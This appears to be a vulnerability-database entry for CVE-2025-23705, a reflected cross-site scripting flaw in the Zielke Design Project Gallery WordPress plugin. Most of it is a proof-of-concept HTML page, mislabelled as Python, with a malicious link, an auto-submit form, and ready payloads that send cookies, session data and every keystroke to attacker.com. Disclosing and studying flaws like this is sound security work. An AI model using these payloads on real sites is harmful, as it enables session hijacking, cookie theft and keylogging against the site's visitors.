CVE-2025-23705

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Terry Zielke Zielke Design Project Gallery zielke-design-project-gallery allows Reflected XSS.This issue affects Zielke Design Project Gallery: from n/a through <= 2.5.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Zielke Design Project Gallery <= 2.5.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-23705 PoC - Reflected XSS in Zielke Design Project Gallery -->
<!-- This PoC demonstrates the reflected XSS vulnerability -->

<!-- Malicious URL to trigger XSS -->
<!-- Example: https://target-site.com/?s=<script>alert(document.cookie)</script> -->

<!-- HTML PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-23705 PoC</title>
</head>
<body>
    <h2>CVE-2025-23705 - Reflected XSS PoC</h2>
    <p>Target: Zielke Design Project Gallery <= 2.5.0</p>
    
    <!-- Link to trigger the vulnerability -->
    <p>Malicious Link:</p>
    <a href="http://target-site.com/?s=<script>alert('XSS')</script>" id="malicious-link">Click Here</a>
    
    <!-- Auto-submit form PoC -->
    <p>Auto-submit Form:</p>
    <form id="xss-form" action="http://target-site.com/" method="GET">
        <input type="hidden" name="s" value="<script>alert(document.domain)</script>">
    </form>
    <script>
        // Auto-submit after page load
        // document.getElementById('xss-form').submit();
    </script>
    
    <!-- JavaScript payload examples -->
    <script>
        // Cookie stealing payload
        var stealCookie = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>";
        
        // Session hijacking payload
        var sessionHijack = "<script>document.location='https://attacker.com/hijack?data='+document.cookie</script>";
        
        // Keylogger payload
        var keylogger = "<script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>";
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-23705
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-23705
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-23705/
[4] VulDB https://vuldb.com/cve/CVE-2025-23705
[5] https://patchstack.com/database/Wordpress/Plugin/zielke-design-project-gallery/vulnerability/wordpress-zielke-design-project-gallery-plugin-2-5-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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